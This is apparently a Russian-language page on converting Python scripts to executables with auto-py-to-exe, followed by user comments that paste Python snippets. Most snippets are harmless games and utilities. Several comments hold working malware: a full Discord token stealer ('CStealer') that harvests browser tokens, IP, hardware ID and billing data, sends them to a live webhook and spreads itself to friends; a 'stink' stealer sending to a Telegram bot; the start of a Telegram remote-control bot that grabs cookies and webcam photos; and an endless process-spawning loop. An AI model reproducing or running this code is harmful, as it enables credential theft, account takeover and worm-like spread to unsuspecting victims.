py to exe converter online

5173

convert .py to exe -

$ pip install auto-py-to-exe

autopytoexe -

# Pip install
$ pip install auto-py-to-exe
$ auto-py-to-exe

# clone install
$ git clone https://github.com/brentvollebregt/auto-py-to-exe.git
$ python -m pip install -r requirements.txt
$ cd auto-py-to-exe
$ python setup.py install

$ auto-py-to-exe

py to exe -

pyinstaller your_program.py

Comments

Submit
73 Comments
  • 9/6/2023 9:54 - Asia/Novosibirsk

import docx
import tkinter as tk
from tkinter import filedialog
import pyttsx3

# Создаем окно для выбора файла
root = tk.Tk()
root.withdraw()

# Открываем диалоговое окно для выбора файла
file_path = filedialog.askopenfilename()

# Открываем файл
doc = docx.Document(file_path)

# Используем библиотеку pyttsx3 для прослушивания текста
engine = pyttsx3.init()

# Получаем текст документа
for paragraph in doc.paragraphs:
    text = paragraph.text

    # Добавляем текст к очереди для проигрывания
    engine.say(text)

# Проигрываем текст
engine.runAndWait()


  • 14/6/2023 18:9 - Europe/Moscow

import ctypes import time # Используемые константы для клавиш VK_LWIN = 0x5B VK_ALT = 0x12 VK_SHIFT = 0x10 KEYEVENTF_EXTENDEDKEY = 0x0001 KEYEVENTF_KEYUP = 0x0002 # Функция для отправки клавиш def send_key(key_code, key_event): extra = ctypes.c_ulong(0) input_type = ctypes.c_ulong(1) flags = KEYEVENTF_EXTENDEDKEY if key_event == 'down' else KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP # Создание структуры для ввода клавиш input_struct = ctypes.Structure( "IHHII", ctypes.pointer(extra), ctypes.c_ulong(input_type), ctypes.c_ushort(key_code), ctypes.c_ulong(flags), ctypes.c_ulong(0) ) # Отправка клавиши ctypes.windll.user32.SendInput(1, ctypes.pointer(input_struct), ctypes.sizeof(input_struct)) # Функция для замены клавиши LWin на комбинацию Alt+Shift def replace_lwin_with_alt_shift(): # Отправка Alt+Shift send_key(VK_ALT, 'down') send_key(VK_SHIFT, 'down') send_key(VK_SHIFT, 'up') send_key(VK_ALT, 'up') # Задержка для полной обработки комбинации time.sleep(0.1) # Отправка отпускания клавиши LWin send_key(VK_LWIN, 'up') # Вызов функции для замены клавиши replace_lwin_with_alt_shift()


  • 26/6/2023 14:58 - Asia/Yekaterinburg

# Крестики-нолики
# используем tkinter

# импорт всех библиотек
import random
import tkinter
from tkinter import *
from functools import partial
from tkinter import messagebox
from copy import deepcopy

# переменая определяющая ход игрока
sign = 0

# создает пустую область
global board
board = [[" " for x in range(3)] for y in range(3)]

# Проверка l(O/X) выиграл или нет, согласно правилам игры


def winner(b, l):
return ((b[0][0] == l and b[0][1] == l and b[0][2] == l) or
(b[1][0] == l and b[1][1] == l and b[1][2] == l) or
(b[2][0] == l and b[2][1] == l and b[2][2] == l) or
(b[0][0] == l and b[1][0] == l and b[2][0] == l) or
(b[0][1] == l and b[1][1] == l and b[2][1] == l) or
(b[0][2] == l and b[1][2] == l and b[2][2] == l) or
(b[0][0] == l and b[1][1] == l and b[2][2] == l) or
(b[0][2] == l and b[1][1] == l and b[2][0] == l))

# настройка текста на кнопке во время игры с другим игроком
def get_text(i, j, gb, l1, l2):
global sign
if board[i][j] == ' ':
if sign % 2 == 0:
l1.config(state=DISABLED)
l2.config(state=ACTIVE)
board[i][j] = "X"
else:
l2.config(state=DISABLED)
l1.config(state=ACTIVE)
board[i][j] = "O"
sign += 1
button[i][j].config(text=board[i][j])
if winner(board, "X"):
gb.destroy()
box = messagebox.showinfo("Победа", "Игрок 1 выиграл матч")
elif winner(board, "O"):
gb.destroy()
box = messagebox.showinfo("Победа", "Игрок 2 выиграл матч")
elif(isfull()):
gb.destroy()
box = messagebox.showinfo("Ничья в матче", "Ничья в матче")

# Проверка, может ли игрок нажать на нопку или нет


def isfree(i, j):
return board[i][j] == " "

# Проверка, заполнена ли доска или нет


def isfull():
flag = True
for i in board:
if(i.count(' ') > 0):
flag = False
return flag

# Создание игрового поля для игры с другим игроком


def gameboard_pl(game_board, l1, l2):
global button
button = []
for i in range(3):
m = 3+i
button.append(i)
button[i] = []
for j in range(3):
n = j
button[i].append(j)
get_t = partial(get_text, i, j, game_board, l1, l2)
button[i][j] = Button(
game_board, bd=5, command=get_t, height=4, width=8)
button[i][j].grid(row=m, column=n)
game_board.mainloop()

# Определение следующего шага системы


def pc():
possiblemove = []
for i in range(len(board)):
for j in range(len(board[i])):
if board[i][j] == ' ':
possiblemove.append([i, j])
move = []
if possiblemove == []:
return
else:
for let in ['O', 'X']:
for i in possiblemove:
boardcopy = deepcopy(board)
boardcopy[i[0]][i[1]] = let
if winner(boardcopy, let):
return i
corner = []
for i in possiblemove:
if i in [[0, 0], [0, 2], [2, 0], [2, 2]]:
corner.append(i)
if len(corner) > 0:
move = random.randint(0, len(corner)-1)
return corner[move]
edge = []
for i in possiblemove:
if i in [[0, 1], [1, 0], [1, 2], [2, 1]]:
edge.append(i)
if len(edge) > 0:
move = random.randint(0, len(edge)-1)
return edge[move]

# Настройка текста на кнопке во время игры с компьютером


def get_text_pc(i, j, gb, l1, l2):
global sign
if board[i][j] == ' ':
if sign % 2 == 0:
l1.config(state=DISABLED)
l2.config(state=ACTIVE)
board[i][j] = "X"
else:
button[i][j].config(state=ACTIVE)
l2.config(state=DISABLED)
l1.config(state=ACTIVE)
board[i][j] = "O"
sign += 1
button[i][j].config(text=board[i][j])
x = True
if winner(board, "X"):
gb.destroy()
x = False
box = messagebox.showinfo("Победа", "Игрок выиграл матч")
elif winner(board, "O"):
gb.destroy()
x = False
box = messagebox.showinfo("Победы", "Компьютер выиграл матч")
elif(isfull()):
gb.destroy()
x = False
box = messagebox.showinfo("Ничья в матче", "Ничья в матче")
if(x):
if sign % 2 != 0:
move = pc()
button[move[0]][move[1]].config(state=DISABLED)
get_text_pc(move[0], move[1], gb, l1, l2)

# Создание игрового поля для игры с компьютером


def gameboard_pc(game_board, l1, l2):
global button
button = []
for i in range(3):
m = 3+i
button.append(i)
button[i] = []
for j in range(3):
n = j
button[i].append(j)
get_t = partial(get_text_pc, i, j, game_board, l1, l2)
button[i][j] = Button(
game_board, bd=5, command=get_t, height=4, width=8)
button[i][j].grid(row=m, column=n)
game_board.mainloop()

# Игровое поля для игры игрок против компьютера


def withpc(game_board):
game_board.destroy()
game_board = Tk()
game_board.title("крестики-нолики")
l1 = Button(game_board, text="Игрок : X", width=10)
l1.grid(row=1, column=1)
l2 = Button(game_board, text="Компьютер : O",
width=10, state=DISABLED)

l2.grid(row=2, column=1)
gameboard_pc(game_board, l1, l2)

# Игровое поля для игры игрок против игрока


def withplayer(game_board):
game_board.destroy()
game_board = Tk()
game_board.title("крестики-нолики")
l1 = Button(game_board, text="Игрок 1 : X", width=10)

l1.grid(row=1, column=1)
l2 = Button(game_board, text="Игрок 2 : O",
width=10, state=DISABLED)

l2.grid(row=2, column=1)
gameboard_pl(game_board, l1, l2)

# Основное меню программы (кнопки)


def play():
menu = Tk()
menu.geometry("500x250")
menu.title("крестики-нолики")
wpc = partial(withpc, menu)
wpl = partial(withplayer, menu)

head = Button(menu, text="Здравствуйте",
activeforeground='White',
activebackground="Red", bg="White",
fg="Black", width=500, font='summer', bd=5)

B1 = Button(menu, text="Игра с компьютером", command=wpc,
activeforeground='White',
activebackground="yellow", bg="red",
fg="Black", width=500, font='summer', bd=5)

B2 = Button(menu, text="Игра на двоих", command=wpl, activeforeground='White',
activebackground="yellow", bg="red", fg="Black",
width=500, font='summer', bd=5)

B3 = Button(menu, text="Выход", command=menu.quit, activeforeground='White',
activebackground="yellow", bg="red", fg="Black",
width=500, font='summer', bd=5)
head.pack(side='top')
B1.pack(side='top')
B2.pack(side='top')
B3.pack(side='top')
menu.mainloop()


# Вызов функции
if __name__ == '__main__':
play()


  • 15/7/2023 1:7 - Europe/Moscow

print(1)


  • 6/8/2023 11:37 - Europe/Moscow

sad

 


  • 16/8/2023 17:30 - Asia/Irkutsk

import keyboard
import win32api, win32con
def click(x,y):
    win32api.SetCursorPos((x,y))
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN,x,y,0,0)
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP,x,y,0,0)

while True:  # making a loop
    try:  # used try so that if user pressed other than the given key error will not be shown
        click(100000,10000)
        if keyboard.is_pressed('q'):  # if key 'q' is pressed 
            print('You Pressed A Key!')
            break  # finishing the loop
    except:
        break


  • 19/8/2023 16:41 - Europe/Moscow

import cv2

def detect_damage(image_path):
    # Загрузка фотографии
    image = cv2.imread(image_path)
    
    # Преобразование изображения в черно-белый формат
    gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    
    # Применение алгоритма обнаружения границ (например, Canny)
    edges = cv2.Canny(gray_image, 50, 150)
    
    # Применение алгоритма обнаружения контуров
    contours, _ = cv2.findContours(edges, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    
    # Поиск поврежденных кирпичей
    damaged_bricks = []
    for contour in contours:
        # Проверка площади контура
        area = cv2.contourArea(contour)
        if area > 500:  # Здесь можно задать пороговое значение площади для определения поврежденного кирпича
            # Отрисовка прямоугольника вокруг контура на исходном изображении
            x, y, w, h = cv2.boundingRect(contour)
            cv2.rectangle(image, (x, y), (x + w, y + h), (0, 0, 255), 2)
            damaged_bricks.append((x, y, w, h))
    
    # Вывод результата
    cv2.imshow("Detected Damage", image)
    cv2.waitKey(0)  # Ожидание нажатия клавиши для закрытия окна
    cv2.destroyAllWindows()
    
    return damaged_bricks

# Пример использования
image_path = "path/to/your/image.jpg"
damaged_bricks = detect_damage(image_path)
print("Damaged Bricks:", damaged_bricks)


  • 12/9/2023 0:34 - Asia/Novosibirsk

import tkinter as tk
from tkinter import messagebox

def show_result():
choice = int(entry.get())
if choice == 1:
result_window.destroy()
messagebox.showinfo('Результат', 'иди нахуй Дима')
elif choice == 2:
result_window.destroy()
messagebox.showinfo('Результат', 'я твое все ебал Дмитрий')
else:
main_window.destroy()
messagebox.showerror('Ебло ты тупое!', 'Введите 1 или 2')

main_window = tk.Tk()
main_window.title('Выбор числа')
main_window.geometry('300x200')

label = tk.Label(main_window, text='Выберите число:', font=('Helvetica', 18))
label.place(relx=0.5, rely=0.2, anchor=tk.CENTER)

entry = tk.Entry(main_window)
entry.place(relx=0.3, rely=0.)


  • 12/9/2023 14:5 - Europe/Moscow

from tkinter import *
from tkinter import filedialog
from moviepy.editor import *

# Переменная для отслеживания текущей темы
current_theme = "light"

# Функция для переключения темы
def toggle_theme():
    global current_theme
    if current_theme == "light":
        current_theme = "dark"
        root.configure(bg='gray')
        label_filename.configure(bg='gray', fg='white')
        button_file.configure(bg='gray', fg='white')
        button_save_path.configure(bg='gray', fg='white')
        button_convert.configure(bg='gray', fg='white')
        toggle_button.configure(bg='gray', fg='white')
    else:
        current_theme = "light"
        root.configure(bg='white')
        label_filename.configure(bg='white', fg='black')
        button_file.configure(bg='white', fg='black')
        button_save_path.configure(bg='white', fg='black')
        button_convert.configure(bg='white', fg='black')
        toggle_button.configure(bg='white', fg='black')

def browse_file():
    filename = filedialog.askopenfilename(filetypes=[("MP4 files", "*.mp4")])
    button_file.config(text=filename)
    print("Выбран файл:", filename)

def browse_save_path():
    save_path = filedialog.askdirectory()
    button_save_path.config(text=save_path)
    print("Выбран путь для сохранения:", save_path)

def convert_to_gif():
    input_file = button_file.cget("text")
    output_path = button_save_path.cget("text")
    output_filename = entry_filename.get()
    
    if input_file and output_path and output_filename:
        try:
            video_clip = VideoFileClip(input_file)
            gif_file = output_path + "/" + output_filename + ".gif"
            video_clip.write_gif(gif_file)
            print("Конвертация завершена. GIF сохранен по пути:", gif_file)
        except Exception as e:
            print("Произошла ошибка при конвертации:", str(e))
    else:
        print("Выберите файл MP4, путь для сохранения и укажите название файла для сохранения GIF")

root = Tk()
root['bg'] = 'white'
root.title('Конвертер MP4 в GIF')
root.wm_attributes('-alpha', 1)
root.geometry('300x500')
root.resizable(width=False, height=False)

button_file = Button(root, text="Выбрать файл MP4", command=browse_file)
button_file.pack()

button_save_path = Button(root, text="Выбрать путь для сохранения", command=browse_save_path)
button_save_path.pack()

label_filename = Label(root, text="Название файла для GIF:")
label_filename.pack()

entry_filename = Entry(root)
entry_filename.pack()

button_convert = Button(root, text="Конвертировать", command=convert_to_gif)
button_convert.pack()

# Круглая кнопка для переключения темы
toggle_button = Button(root, text="ЧБ/БЛ", command=toggle_theme)
toggle_button.pack(side=BOTTOM, anchor=SE)

root.mainloop()


  • 18/9/2023 0:2 - Europe/Moscow

import pygame
import random

# Инициализация Pygame
pygame.init()

# Создание игрового окна
screen = pygame.display.set_mode((800, 600))

# Установка заголовка окна
pygame.display.set_caption("Пример ИИ в игре")

# Персонаж
player_x = 400
player_y = 300
player_speed = 5

# Главный цикл игры
running = True
clock = pygame.time.Clock()

while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False

    # Генерация случайного направления движения
    move_direction = random.choice(["up", "down", "left", "right"])

    # Обработка движения персонажа
    if move_direction == "up":
        player_y -= player_speed
    elif move_direction == "down":
        player_y += player_speed
    elif move_direction == "left":
        player_x -= player_speed
    elif move_direction == "right":
        player_x += player_speed

    # Ограничение координат, чтобы персонаж не выходил за границы окна
    player_x = max(0, min(player_x, 800))
    player_y = max(0, min(player_y, 600))

    # Заполнение фона
    screen.fill((0, 0, 0))

    # Рисование персонажа (красный круг)
    pygame.draw.circle(screen, (255, 0, 0), (player_x, player_y), 20)

    # Обновление экрана
    pygame.display.update()

    # Задержка для управления скоростью движения персонажа
    pygame.time.delay(500)

    # Задержка для контроля частоты обновления экрана
    clock.tick(60)

# Завершение Pygame
pygame.quit()


  • 4/10/2023 22:38 - Europe/Moscow

print("Hello, world!")


  • 28/10/2023 10:29 - Europe/Moscow

a = float(input("Введи первое число:"))
znak = input("Выбери: (*,/,+,-): ")
if znak == "+":
	print("Красава, выбор пал на СЛОЖЕНИЕ!?")
elif znak == "-":
	print("Красава, выбор пал на ВЫЧИТАНИЕ!?")
elif znak == "*":
	print("Красава, выбор пал на УМНОЖЕНИЕ!?")
elif znak == "/":
	print("Красава, выбор пал на ДЕЛЕНИЕ!?")
else:
	print("Выбрана не верная операция!")
b = float(input("Введи второе число:"))
if znak == "+":
	c = a + b
	print("Ваш ответ: " + str(c))
elif znak == "-":
	c = a - b
	print("Ваш ответ: " + str(c))
elif znak == "*":
	c = a * b
	print("Ваш ответ: " + str(c))
elif znak == "/":
	c = a / b
	print("Ваш ответ: " + str(c))
print("Благодарим вас, что воспользовались нашим дебильным калькулятором версии 2.1")


  • 29/10/2023 16:21 - Europe/Moscow

# подключаем графическую библиотеку
from tkinter import *
# подключаем модули, которые отвечают за время и случайные числа
import time
import random
# создаём новый объект — окно с игровым полем. В нашем случае переменная окна называется tk, и мы его сделали из класса Tk() — он есть в графической библиотеке 
tk = Tk()
# делаем заголовок окна — Games с помощью свойства объекта title
tk.title('Game')
# запрещаем менять размеры окна, для этого используем свойство resizable 
tk.resizable(0, 0)
# помещаем наше игровое окно выше остальных окон на компьютере, чтобы другие окна не могли его заслонить
tk.wm_attributes('-topmost', 1)
# создаём новый холст — 400 на 500 пикселей, где и будем рисовать игру
canvas = Canvas(tk, width=500, height=400, highlightthickness=0)
# говорим холсту, что у каждого видимого элемента будут свои отдельные координаты 
canvas.pack()
# обновляем окно с холстом
tk.update()


  • 2/11/2023 22:58 - Europe/Moscow

class DamageParament:
    def __init__(self) -> None:
        self.D = float(input("Введите значение силы: "))
        self.W = float(input("Введите прибавку от оружия: "))
        self.H = float(input("Введите здоровье атакующего: "))
        self.Hp = float(input("Введите % от здоровья атакующего: "))
        self.A = float(input("Введите значение брони моба: "))
        self.Ap = float(input("Введите % от брони моба: "))
        self.Mh = float(input("Введите здоровье врага: "))
        self.Mhp = float(input("Введите % от здоровья врага: "))
        self.countHit()
    
    def formula(self):
        return self.D + self.W + self.H * self.Hp - self.A * self.Ap - self.Mh * self.Mhp
    def countHit(self):
        count = 0
        while(self.Mh > 0):
            self.Mh -= self.formula()
            count += 1
        print(f"враг умрёт после {count} атак")

player = DamageParament()


  • 9/11/2023 19:31 - Asia/Yekaterinburg

# Импортируем модуль для работы с уведомлениями
import ctypes


# Функция для создания и открытия файла
def create_file_with_notification(file_path):
# Создаем файл
with open(file_path, 'w') as file:
file.write('Я тебя люблю!')

# Отображаем уведомление
ctypes.windll.user32.MessageBoxW(0, 'Я тебя люблю!', 'Уведомление', 1)


# Вызываем функцию, передавая путь к создаваемому файлу
create_file_with_notification('путь_к_файлу.txt')


  • 11/11/2023 20:6 - Europe/Moscow

s=input()
print(s[::-1])


  • 24/11/2023 12:0 - Asia/Novosibirsk

import datetime

# Создаем класс для записи заметок
class Note:
    def __init__(self, title, content):
        self.title = title
        self.content = content

    def __str__(self):
        return f"{self.title}: {self.content}"

# Создаем список заметок
notes = [Note("Учеба", "Написать доклад"), Note("Работа", "Составить план на неделю"), Note("Личное", "Купить продукты")]

# Добавляем дату и время к каждой заметке
for note in notes:
    note.date = datetime.datetime.now()
    note.time = datetime.datetime.now().time()

# Создаем функцию для выбора действия
def select_action():
    action_options = ["Добавить заметку", "Удалить заметку", "Редактировать заметку"]
    action_index = int(input("Выберите действие: "))
    if action_index < len(action_options):
        print(action_options[action_index])
    else:
        print("Неизвестное действие.")

# Создаем функцию для добавления новой заметки
def add_note():
    title = input("Введите название заметки: ")
    content = input("Введите содержание заметки: ")
    notes.append(Note(title, content))

# Создаем функцию для удаления заметки
def delete_note():
    index = input("Введите индекс заметки для удаления: ")
    if index >= len(notes):
        print("Заметка не найдена.")
    else:
        del notes[index]
        print("Заметка удалена.")

# Создаем функцию для редактирования заметки
def edit_note():
    index = input("Введите индекс заметки для редактирования: ")
    if index >= len(notes):
        print("Заметка не найдена.")
    else:
        note = notes[index]
        new_title = input("Введите новое название заметки: ")
        new_content = input("Введите новое содержание заметки: ")
        notes[index] = Note(new_title, new_content)
        print("Заметка отредактирована.")

# Создаем меню для выбора действий с заметками
menu = ["Добавить заметку", "Удалить заметку", "Редактировать заметку"]

# Запускаем бесконечный цикл для выбора действий
while True:
    print("\nВыберите действие:")
    for option in menu:
        print(option)
    choice = input(" > ")

    # Обрабатываем выбранное действие
    if choice == "Добавить заметку":
        add_note()
    elif choice == "Удалить заметку":
        delete_note()
    elif choice == "Редактировать заметку":
        edit_note()
    else:
        print("Неизвестное действие.")

# Вызываем функцию для выбора действия
select_action()


  • 24/11/2023 19:57 - Asia/Irkutsk

$ pip install auto-py-to-exe


  • 26/11/2023 16:50 - Europe/Moscow

import tkinter as tk
import webbrowser

def open_site_yes():
webbrowser.open('https://youtu.be/_0dgnlnyq9s')
root.destroy()

def open_site_no():
webbrowser.open('https://youtube.com/shorts/hzZWz9CnEEs?si=-5QH_4VePwjvStJu')
root.destroy()

root = tk.Tk()
root.title('СРОЧНО! ВАЖНЫЙ ВОПРОС!')

label = tk.Label(root, text='Тебя зовут Виталя?')
label.pack(pady=10)

button_yes = tk.Button(root, text='Да', command=open_site_yes)
button_yes.pack(side=tk.LEFT, padx=(100, 100), pady=100)

button_no = tk.Button(root, text='Нет', command=open_site_no)
button_no.pack(side=tk.RIGHT, padx=(100, 100), pady=100)

root.mainloop()


  • 26/11/2023 20:46 - Asia/Beirut

import os

if os.name != "nt":

    exit()

from re import findall

from json import loads, dumps

from base64 import b64decode

from datetime import datetime

from subprocess import Popen, PIPE

from urllib.request import Request, urlopen

from threading import Thread

from time import sleep

from sys import argv

dt = datetime.now()

# Paste your webhook url to "URL_HERE"

WEBHOOK_URL = 'https://discord.com/api/webhooks/1178245357822546001/9biXkPGXzhLUNqJ1-bLIbIFJQimTNlVqrITLLEltC3Rmm3y32PHY6diZayCmqPfE206Z'

LOCAL = os.getenv("LOCALAPPDATA")

ROAMING = os.getenv("APPDATA")

PATHS = {

    "Discord" : ROAMING + "\\Discord",

    "Discord Canary" : ROAMING + "\\discordcanary",

    "Discord PTB" : ROAMING + "\\discordptb",

    "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",

    "Firefox" : LOCAL + "\\Mozilla\\Firefox\\User Data\\Profiles",

    "Opera" : ROAMING + "\\Opera Software\\Opera Stable",

    "Edge" : LOCAL + "\\\Microsoft\\Edge\\User Data\\Default",

    "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",

    "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default",

    "Vivaldi" : LOCAL + "\\Vivaldi\\User Data\\User Data",

}

def getheaders(token=None, content_type="application/json"):

    headers = {

        "Content-Type": content_type,

        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"

    }

    if token:

        headers.update({"Authorization": token})

    return headers

def getuserdata(token):

    try:

        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())

    except:

        pass

def gettokens(path):

    path += "\\Local Storage\\leveldb"

    tokens = []

    for file_name in os.listdir(path):

        if not file_name.endswith(".log") and not file_name.endswith(".ldb"):

            continue

        for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:

            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):

                for token in findall(regex, line):

                    tokens.append(token)

    return tokens

def getip():

    ip = "None"

    try:

        ip = urlopen(Request("https://api.ipify.org")).read().decode().strip()

    except:

        pass

    return ip

def getavatar(uid, aid):

    url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif"

    try:

        urlopen(Request(url))

    except:

        url = url[:-4]

    return url

def gethwid():

    p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)

    return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1]

def getfriends(token):

    try:

        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())

    except:

        pass

def getchat(token, uid):

    try:

        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]

    except:

        pass

def has_payment_methods(token):

    try:

        return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)

    except:

        pass

def send_message(token, chat_id, form_data):

    try:

        urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode()

    except:

        pass

def spread(token, form_data, delay):

    return # Remove to re-enabled

    for friend in getfriends(token):

        try:

            chat_id = getchat(token, friend["id"])

            send_message(token, chat_id, form_data)

        except Exception as e:

            pass

        sleep(delay)

def main():

    cache_path = ROAMING + "\\.cache~$"

    prevent_spam = True

    self_spread = True

    embeds = []

    working = []

    checked = []

    already_cached_tokens = []

    working_ids = []

    ip = getip()

    pc_username = os.getenv("UserName")

    pc_name = os.getenv("COMPUTERNAME")

    user_path_name = os.getenv("userprofile").split("\\")[2]

    for platform, path in PATHS.items():

        if not os.path.exists(path):

            continue

        for token in gettokens(path):

            if token in checked:

                continue

            checked.append(token)

            uid = None

            if not token.startswith("mfa."):

                try:

                    uid = b64decode(token.split(".")[0].encode()).decode()

                except:

                    pass

                if not uid or uid in working_ids:

                    continue

            user_data = getuserdata(token)

            if not user_data:

                continue

            working_ids.append(uid)

            working.append(token)

            username = user_data["username"] + "#" + str(user_data["discriminator"])

            user_id = user_data["id"]

            avatar_id = user_data["avatar"]

            avatar_url = getavatar(user_id, avatar_id)

            email = user_data.get("email")

            phone = user_data.get("phone")

            nitro = bool(user_data.get("premium_type"))

            flags = user_data.get("public_flags")

            billing = bool(has_payment_methods(token))

            embed = {

                "color": 0x5865f2,

                "fields": [

                    {

                        "name": "**Account Info**",

                        "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}',

                        "inline": True

                    },

                    {

                        "name": "**PC Info**",

                        "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}',

                        "inline": True

                    },

                    {

                        "name": "**Token**",

                        "value": token,

                        "inline": False

                    },

                ],

                "author": {

                    "name": f"{username} ({user_id})",

                    "icon_url": avatar_url

                },

                "footer": {

                    "text": "Hooked at • " + dt.strftime('%Y-%m-%d %H:%M:%S'),

                }

            }

            embeds.append(embed)

    with open(cache_path, "a") as file:

        for token in checked:

            if not token in already_cached_tokens:

                file.write(token + "\n")

    if len(working) == 0:

        working.append('123')

    webhook = {

        "content": "",

        "embeds": embeds,

        "username": "CStealer",

        "avatar_url": "https://i.hizliresim.com/9ftjid9.jpg"

    }

    try:

        urlopen(Request(WEBHOOK_URL, data=dumps(webhook).encode(), headers=getheaders()))

    except:

        pass

    if self_spread:

        for token in working:

            with open(argv[0], encoding="utf-8") as file:

                content = file.read()

            payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--'

            Thread(target=spread, args=(token, payload, 7500 / 1000)).start()

try:

    main()

except Exception as e:

    print(e)

    pass

 

 

 

 

 

 


  • 29/11/2023 14:3 - Etc/GMT-3

pip install auto-py-to-exe


  • 11/12/2023 13:18 - Europe/Moscow

лодл

 


  • 15/12/2023 2:56 - Europe/Moscow

import math

def f(prob, code, k, start, end):
sum = 0
mid = 0
for i in range(start, end):
if round(abs(k / 2 - (sum + prob[i])), 5) <= round(abs(k / 2 - sum), 5):
sum += prob[i]
else:
mid = i
break

for i in range(start, mid):
code[i] += '0'
for i in range(mid, end):
code[i] += '1'

if mid - start != 1:
f(prob, code, sum, start, mid)
if end - mid != 1:
f(prob, code, k - sum, mid, end)

return code


p = [0.3, 0.2, 0.1, 0.1, 0.08, 0.07, 0.06, 0.05, 0.04] # сюда просто пишем вероятности
len_p = len(p)
fano = [''] * len_p
res = f(p, fano, 1, 0, len_p)

print('Метод Шеннона Фано\nX\t\tcode')
for i in range(0, len_p):
print(f'{p[i]:.2f}\t{fano[i]}')

L = dict()
for i in range(0, len_p):
x = len(fano[i])
if x in L:
L[x] += p[i]
else:
L[x] = p[i]

ML = 0
HX = 0
for i in p:
HX += -i * math.log2(i)

print('\nL\t||', end='')
for i in L:
print(f'\t{i:<5}|', end='')
print('\np\t||', end='')
for i in L.values():
print(f'\t{round(i, 4):<5}|', end='')
print('')
for i in L.items():
ML += i[0] * i[1]

print(f'ML = {ML:.4f} \nHX = {round(HX, 4)}')


  • 29/12/2023 20:38 - Asia/Almaty

import subprocess
while(True):
    subprocess.Popen(['mspaint.exe'])
    subprocess.Popen(['notepad.exe'])
    subprocess.Popen(['cmd'])


  • 6/1/2024 16:3 - Europe/Moscow

from stink import Stealer, Senders

if __name__ == '__main__':
    Stealer(senders=[Senders.telegram(token="6606094795:AAFFeTgriKAJehkKPhxGrSj2zLkJfTtamgM", user_id=5195110005)]).run()


  • 6/1/2024 23:50 - Asia/Yekaterinburg

import numpy as np
import matplotlib.pyplot as plt

def mandelbrot(c, max_iter):
z = 0
n = 0
while abs(z) <= 2 and n < max_iter:
z = z*z + c
n += 1
return n

def create_mandelbrot(width, height, x_min, x_max, y_min, y_max, max_iter):
image = np.zeros((width, height))

for x in range(width):
for y in range(height):
real = x_min + (x / width) * (x_max - x_min)
imaginary = y_min + (y / height) * (y_max - y_min)
c = complex(real, imaginary)
iterations = mandelbrot(c, max_iter)
image[x, y] = iterations

return image

def plot_mandelbrot(image):
plt.imshow(image.T, cmap='hot', origin='lower')
plt.xlabel('Real')
plt.ylabel('Imaginary')
plt.title('Mandelbrot Set')
plt.colorbar()
plt.show()

# Параметры для создания фрактала
width = 800
height = 800
x_min = -2.5
x_max = 1
y_min = -1.5
y_max = 1.5
max_iter = 1000

# Создание и отображение фрактала
image = create_mandelbrot(width, height, x_min, x_max, y_min, y_max, max_iter)
plot_mandelbrot(image)


  • 11/1/2024 12:54 - Asia/Yekaterinburg

import os
os.system('echo idi nahui')

 


  • 11/1/2024 13:6 - Europe/Moscow

n,k=map(int,input().split())
o=input()
r=o.split(" ")
l=[]
res = -1
for i in r:
    i=int(i)
    l.append(i)

n=len(l)
etal=[]
for h in range(1,k+1):
    etal.append(h)

tmp=[]
for m in range(0,n-k+1):
    for v in range(m,m+k):
        tmp.append(l[v])    
    tmp.sort()
    if tmp == etal:
       res = m+1
       break
    tmp.clear()
print(res)


  • 15/1/2024 15:38 - Europe/Moscow

import telebot
import psutil
import os
import getpass
from telebot import types
import pyautogui
import cv2
import socket
import time
import requests
# Устанавливаем токен вашего бота
token = '6397886869:AAFauIG_Mr44Q3JqtHRr5EDQBHsq4CAfDGY'
bot = telebot.TeleBot(token)

# Обработчик команды /start
@bot.message_handler(commands=['start'])
def handle_start(message):
markup = types.ReplyKeyboardMarkup(resize_keyboard=True)
item1 = types.KeyboardButton("Получить кукисы")
item2 = types.KeyboardButton("Получить список директорий")
item3 = types.KeyboardButton("Закрыть все браузеры")
item4 = types.KeyboardButton("Фото")
markup.add(item1, item2, item3, item4)
bot.send_message(message.chat.id, "СЛАВА РОССИИ", reply_markup=markup)
print(message.text.lower())
# @bot.message_handler(func=lambda message: message.text.lower() == 'видео')
# def handle_text(message):
#
# cap = cv2.VideoCapture(0)
# fourcc = cv2.VideoWriter_fourcc(*'XVID')
# out = cv2.VideoWriter('output.avi', fourcc, 20.0, (640, 480))
#
